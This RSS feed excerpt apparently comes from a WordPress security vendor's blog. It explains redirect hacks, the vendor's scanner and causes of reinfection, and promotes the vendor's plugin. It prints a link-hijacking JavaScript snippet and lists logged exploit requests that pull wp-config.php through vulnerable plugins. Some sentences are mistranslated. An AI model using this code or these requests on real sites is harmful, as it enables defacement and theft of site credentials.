WordPress:Malware Scan &#38; Security Plugin [Malware and Virus Detection and Removal] Please browse the features from the following page.]]></description>
		
		
		
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		<title>Redirect hack that takes you to another site when you click on a link on a WordPress site.</title>
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		<pubDate>Mon, 04 Apr 2022 04:49:41 +0000</pubDate>
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					<description><![CDATA[A redirect hack is a type of tampering in which a hacker alters site data or theme files to force users to go to a page that the hacker wants them to go to instead of the page they originally wanted to see. The following is an explanation of a common example of a redirect hack, in which clicking on a link on a site sends the user to a different site. How Redirect Hacks (Link Replacement Type) Work This type of tampering is performed by a code called JAVASCRIPT, which is a script executed on the browser side. The code that directs all links to an unintended site looks like the following &#60;script&#62;var anchors = document.getElementsByTagName(&#34;a&#34;); for (var i = 0; i &#60; anchors.length; i ) { anchors [i].href = &#34;URL of the site you want the link click to take you to&#34;; }&#60;/script&#62; However, in many cases, this code is obfuscated as follows so that it is not easy to know which site to jump to. Commonly tampered (infected) sites Redirect hack tampering is often embedded in Javascript code where it can be executed on any page. 1 Theme files Often embedded in header.php, footer.php, single.php, and index.php included in the theme. 2 WordPress configuration file It is also often embedded in the wordpress configuration file wp-config.php or index.php in the root folder that is always accessed when displaying the wordpress site. 3 Database The redirect hack is a JAVASCRRIPT, so it may be embedded and executed in the wp_posts table in individual pages in the database or in the wp_options table in the settings storage. How was it tampered with? Redirect hacks can also be implemented by rewriting part of the database due to a vulnerability in the plugin, so if tampering exists only in the database, a relatively minor vulnerability may allow malicious code to be written to some of the plugin&#8217;s settings. However, there are cases of more serious hacking (e.g., taking administrative privileges, backdoors in the server due to plugin vulnerabilities, etc.), so professional help may be required if the tampering is repeated. How to deal with redirect hacks Even if the malicious code is obfuscated, only the start script tag, which indicates the code, cannot be obfuscated. Therefore, it is possible to remove it by looking in the database for posts or configuration tables that contain the script string and examining them for the illegal character code. Also, we recommend the following security measures to be taken after removing the malicious code by visually inspecting the theme files that are susceptible to the above mentioned infections. Make sure you have the latest version of WordPress and plug-ins. Change user passwords. If there is no update for the vulnerable plug-ins, stop using them and use other plug-ins instead. Check for updates to vulnerable plugins. A malware scanner developed by WordPress Doctor can also scan and detect redirect hacks. [Free] WordPress:Malware Scan &#038; Security Plugin [Malware and Virus Detection and Removal].]]></description>
		
		
		
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		<title>WordPress: How the Malware Scan &#038; Security plugin can detect malware with high accuracy.</title>
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		<pubDate>Wed, 20 Jan 2021 01:54:28 +0000</pubDate>
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					<description><![CDATA[The following is a partial introduction to the highly accurate malware detection mechanism in the [Free] WordPress: Malware Scanning &#038; Security Plug-in [Malware and Virus Detection and Removal] released by WordPress Doctor. Database of over 5000 malware (hacker tampering patterns) We have received many requests for decontamination of malware and tampering on WordPress sites, and our specialized engineers research and compile databases of the latest hacker tampering programs obtained through our multiple dummy sites, etc., to prevent duplication of hackers&#8217; tampering patterns using our unique technology, We have a database of the latest hackers&#8217; tampering programs obtained through dummy sites and other means. We detect hacker tampering first by pattern matching, then by regular expression matching, and finally by data matching in our database. Definitive diagnosis with a probability of 1 in 100,000. WordPress contains over 10,000 program files for sites with many plug-ins installed. Pattern matching alone may pick up legitimate files, so it is not always possible to completely detect malware files. WordPress Doctor collects and maintains data on the actual probability of tampering (malware) with all of the above patterns. By multiplying these data, we can determine with an accuracy of more than 1 in 100,000 whether or not the modification was actually caused by hacking. In many cases, this is done by an automated algorithm, which speeds up the diagnosis to a few seconds. The system considers many servers (computers) where plug-ins have been installed as a cluster, and focuses its inspection on only those patterns with high accuracy. The more malware patterns there are, the longer it takes to detect them. Hackers&#8217; tampering techniques evolve daily, and trends in how to avoid pattern matching are renewed every few months. Blindly adding more and more detection patterns will gradually increase the time required for the plug-in to exhaustively search for and detect malware files, which is not sustainable. The WordPress Doctor Malware Scanner solves this problem by prioritizing each detection pattern with its own algorithm. Patterns that have not been detected for a long time or those with very low detection counts are given a lower priority and are automatically installed in clusters of sites that have multiple installations of our malware plug-ins. If these low-priority patterns are detected again in a cluster, their priority is raised and they are distributed simultaneously to all sites that have installed the plug-ins, which increases their inspection priority and allows them to be detected immediately. 1 The latest malware pattern at the time our plug-in is installed on a site is available for free inspection and detection. 2 To continue automatic installation of the latest malware patterns, you need to become a paid subscriber to Malware Patterns. Click here for an explanation of the [Free] WordPress:Malware Scan &#038; Security Plug-in [Malware and Virus Detection and Removal]. Click here to visit the official website of the plugin]]></description>
		
		
		
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		<title>Log and visualize WordPress hacker attacks</title>
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		<pubDate>Tue, 05 Jan 2021 00:56:00 +0000</pubDate>
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					<description><![CDATA[Here are some of the most common attack patterns recorded as hacking logs that we detect on a daily basis. Access logs of hackers&#8217; most common hacks as of January 2021 When hackers find a WordPress site on a search engine, they first check for vulnerabilities or backdoors that have already been embedded by other hackers or in themes, plugins, and other components of the site. Here are some of the most common methods that have been detected recently. 1 /wp-content/plugins/temp.php /wp-content/uploads/2020/xx/content-post.php , doc.php This is a log that is recorded when another hacker tries to take advantage of a backdoor that has already been embedded by the hack. If this file is present on your site, you may have been hacked and should inspect the contents in detail if the file is present. 2 /wp-content/plugins/media-library-assistant/includes/mla-file-downloader.php The access logs of this hacker are located at \/. \ \&#8230; \/. \/wp-config.php is detected along with queries such as: attempting to download the wp-config.php configuration file using a vulnerability in the media-library-assistant plugin. 3 /wp-admin/admin-ajax.php action=revslider_show_image Similar to the above, this also attempts to download the wp-config.php configuration file by exploiting a vulnerability in the Slider Revolution plugin. 4 /wp-admin/admin-ajax.php action=duplicator_download Similar to the above, this also attempts to download the wp-config.php configuration file by exploiting a vulnerability in the Duplicator plugin. It is said that every WordPress site is attacked on average 4 or 5 times a day! No matter how small the site is, hackers will find the site via search engines, access the above files, and attack the site to see if they can break in. It is said that every site receives on average 4 or 5 attacks a day from hackers. If a vulnerable file is on the site, hackers will tamper with the site and plant malicious programs on the site to misdirect the entire site to another site or to cause users to download viruses, calculate virtual currency, or do other unauthorized activities on the site. They will customize the site. You can log and record the hack with the WordPress Doctor Malware Scanner WordPress:Malware Scanner &#038; Security Plugin [Malware and Virus Detection and Removal] can also be used to detect and log hacking with a unique algorithm. If you want to use our security features or inspect your site for malware and tampering, please use our security plugin.]]></description>
		
		
		
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		<title>Reasons for repeated hacker defacement and malware infection on WordPress sites</title>
		<link>https://blog.website-malware-removal.com/6232</link>
		
		<dc:creator><![CDATA[wpdoctoradmin]]></dc:creator>
		<pubDate>Thu, 17 Dec 2020 06:36:47 +0000</pubDate>
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					<description><![CDATA[Once a WordPress site has been defaced by hackers, embedded malware, or infected with a virus, the site may be repeatedly defaced even after you think you have removed the malware. We will explain how to deal with such cases. Reasons for repeated tampering by hackers 1. Administrator&#8217;s password is leaked. Once WordPress has been hacked, the administrator password may have already been breached. Once the WordPress administrator privileges are taken, the hacker will be able to install and rewrite any file on the server. What to do If you have been hacked, we recommend that you change all of your WordPress administrator passwords once. Reason #2 for repeated hacker tampering: Vulnerable files are left untouched. About 50% of the time when hackers deface a site, they take advantage of vulnerabilities in WordPress itself or in plugins. Even if the site is cleaned up, if these vulnerabilities are left untouched, the site will be hacked again from those vulnerabilities. What to do Make sure you have the latest versions of WordPress, themes, and plugins, and remove any unused plugins. Reason for repeated tampering by hackers 3 Embedded backdoors A backdoor is a program file that serves as an entry point for a site to be defaced. Once a site has been defaced, this backdoor may have been written or embedded somewhere on the site. Check for backdoors by using a malware scanner or other tool that can detect WordPress backdoors. Reference Free WordPress:Malware Scanning &#038; Security Plug-in [Malware and Virus Detection and Removal]. Reason for repeated hacker tampering4 Direct database access Is there a database connection program such as PHPMYADMIN that can modify the database installed at the same time on the server where WordPress is located? Hackers may have already obtained the database connection information by retrieving the wp-config.php file of the WordPress site that was successfully hacked. If the database connection information has been taken, and if PHPMYADMIN is on the server, the hacker can rewrite the database anytime he/she wants. Being able to rewrite the database also means being able to log in as a WordPress administrator. What to do Change the database password and rewrite the connection information in the wp-config.php file. If you have PHPMYADMIN, we recommend that you rename or delete it to a folder name that is less confusing. Reason for repeated hacker tampering: hijacking of root privileges If the WordPress site is located on a server that also grants root privileges to users, such as a VPS, AWS, or dedicated server, it is possible, but rare, that a hacker could issue commands via PHP to manipulate the server itself and take root or near-root privileges to the entire server. In this case, the safest course of action would be to use a server that has been compromised. In this case, the safest way would be to reinstall the server itself, but since VPS, AWS, and dedicated servers require consideration of the security of the server itself, we recommend that you use a shared server since WordPress is designed to operate well on shared servers. [&#8230;]]]></description>
		
		
		
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